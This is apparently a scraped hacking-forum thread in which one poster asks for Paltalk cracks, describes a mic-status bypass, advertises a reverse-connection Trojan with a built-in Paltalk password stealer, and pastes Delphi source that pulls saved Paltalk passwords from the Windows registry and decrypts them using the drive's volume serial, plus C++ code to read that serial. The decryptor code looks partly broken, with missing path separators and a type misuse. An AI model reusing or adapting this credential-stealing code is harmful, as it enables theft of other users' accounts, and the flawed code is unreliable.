Navigation Menu

[codemastr_]

also i tried using the crack, if i join 1 room i can only join it with 2 nicks, others get Paltalk 55… error umm any solution for this?

[codemastr_]

i need one that works with pal 9.1 b please link me someone tyx alot appreciated

[codemastr_]

Also let me tell you all is a Trojan using Reverse-Connection which now has Paltalk password Stealer builtin =)

[codemastr_]

Do you have a download link for PalPalPal, ive tried searching forum and Download section No Luck, i found one but it didnt work with 9.1

[codemastr_]

also the Activate Voice Menuitem was Grayed out, but i used a C code to activate it

[codemastr_]

Ok.. i tried this trick properly, i was dotted and i did activate the mic — i saw mic icon and i saw on bottom the Microphone Bar working while i says something but the other people in the room could not hear me =) and i saw the microphone icon next to my name, while others saw red dot

[codemastr_]

@Newbie wrote:

what is OSCAR protocol ? more details is appreciated

From Wikipedia, the free encyclopedia
Jump to: navigation, search

OSCAR is AOL’s instant messaging and presence information protocol standing for Open System for CommunicAtion in Realtime. Currently OSCAR is in use for AOL’s two main instant messaging systems: ICQ and AIM.

Despite its name, the specifications for the protocol are proprietary. AOL has gone to great lengths to keep competitors, namely Microsoft, Jabber, and Cerulean Studios, from implementing compatible clients for their proprietary messaging system. In 2002, AOL signed a contract with Apple Computer, allowing them to use it (as well as AOL’s own code libraries) in their iChat program. This allows iChat users to interact with ICQ and AIM users directly. As part of the deal, Apple’s .Mac service could hook into the service by allowing .Mac members to log in using their .Mac accounts (in the form of the full e-mail address — username@mac.com) on the AIM network.

Large parts of the protocol are nowadays understood after reverse-engineering the protocol, implemented by an ever-increasing number of 3rd party clients.

Now.. If you write an AIM Client, using the OSCAR Protocol would work because it does not change… Using the Original AIM Protocol would be trouble because it is Encrypted and intends to change alot.

[codemastr_]

unit MainUnit;



interface



uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, Registry;



type

TMainForm = class(TForm)

UsersCombo: TComboBox;

Label3: TLabel;

SerialLabel: TStaticText;

EncPassLabel: TStaticText;

DecPassLabel: TStaticText;

procedure FormShow(Sender: TObject);

procedure UsersComboChange(Sender: TObject);

private

{ Private declarations }

function GetVolumeSerial: string;

function GivePassword(UserName, EncPass, VolumeSerial: string): string;

public

{ Public declarations }

end;



var

MainForm: TMainForm;



implementation



uses StrUtils;



{$R *.dfm}



procedure TMainForm.FormShow(Sender: TObject);

var

Reg: TRegistry;

begin

Reg := TRegistry.Create;

if Reg.OpenKey('SoftwarePaltalk',False) then

begin

Reg.GetKeyNames(UsersCombo.Items);

if UsersCombo.Items.Count>0 then

UsersCombo.ItemIndex := UsersCombo.Items.IndexOf(Reg.ReadString('cur_user'));

Reg.CloseKey;

end;

Reg.Free;

SerialLabel.Caption := GetVolumeSerial;

UsersComboChange(Self);

end;



function TMainForm.GetVolumeSerial: string;

var

SerialNo: Cardinal;

Tmp: Cardinal;

begin

GetVolumeInformation('C:',nil,0,@SerialNo,Tmp,Tmp,nil,0);

Result := IntToHex(SerialNo,8);

end;



procedure TMainForm.UsersComboChange(Sender: TObject);

var

Reg: TRegistry;

begin

Reg := TRegistry.Create;

Reg.OpenKey('SoftwarePaltalk'+UsersCombo.Text,False);

EncPassLabel.Caption := Reg.ReadString('pwd');

Reg.CloseKey;

Reg.Free;

DecPassLabel.Caption := GivePassword(UsersCombo.Text,EncPassLabel.Caption,SerialLabel.Caption);

end;



function TMainForm.GivePassword(UserName, EncPass,

VolumeSerial: string): string;

var

i,j,k: Integer;

MixedUserSerial: string;

begin

while (Length(UserName)+Length(VolumeSerial)>0) do

begin

if Length(UserName)>0 then

begin

MixedUserSerial := MixedUserSerial + LeftStr(UserName,1);

Delete(UserName,1,1);

end;

if Length(VolumeSerial)>0 then

begin

MixedUserSerial := MixedUserSerial + LeftStr(VolumeSerial,1);

Delete(VolumeSerial,1,1);

end;

end;

i := Length(MixedUserSerial);

MixedUserSerial := MixedUserSerial + MixedUserSerial + MixedUserSerial;

j := 0;

while Length(EncPass)>0 do

begin

k := StrToInt(LeftStr(EncPass,3));

Delete(EncPass,1,4);

k := k - j - $7A - Byte(MixedUserSerial);

Result := Result + Char(k);

Inc(j);

Inc(i);

end;

end;



end.

We Must take a look at the source code from Delphi… =)

It uses GetVolumeSerial etc.. to do get a number then calculate … So it has something to do with the Volume Information — which helps Decrypt.

Calculation:

i,j,k: Integer;

MixedUserSerial: string;

begin

while (Length(UserName)+Length(VolumeSerial)>0) do

begin

if Length(UserName)>0 then

begin

MixedUserSerial := MixedUserSerial + LeftStr(UserName,1);

Delete(UserName,1,1);

end;

if Length(VolumeSerial)>0 then

begin

MixedUserSerial := MixedUserSerial + LeftStr(VolumeSerial,1);

Delete(VolumeSerial,1,1);

end;

end;

i := Length(MixedUserSerial);

MixedUserSerial := MixedUserSerial + MixedUserSerial + MixedUserSerial;

j := 0;

while Length(EncPass)>0 do

begin

k := StrToInt(LeftStr(EncPass,3));

Delete(EncPass,1,4);

k := k - j - $7A - Byte(MixedUserSerial);

Result := Result + Char(k);

Inc(j);

Inc(i);

end;

How to Get Serial in C++

#include 

#include 





int main() {

char filesys[9];

char vollabel[13];

char buf[4] = "C:";

unsigned long flen,flgs,sn ;     /* (only sn used) */;



int x = GetVolumeInformation(buf,vollabel,12L,&sn,&flen,&flgs,filesys,8L);



std::cout << sn;

return 0;

}

It will return a number such as (192819381) and then Convert it to Hex you will get the same Value the Delphi Decryptor has in the Volume Serial:

[Author]

Posts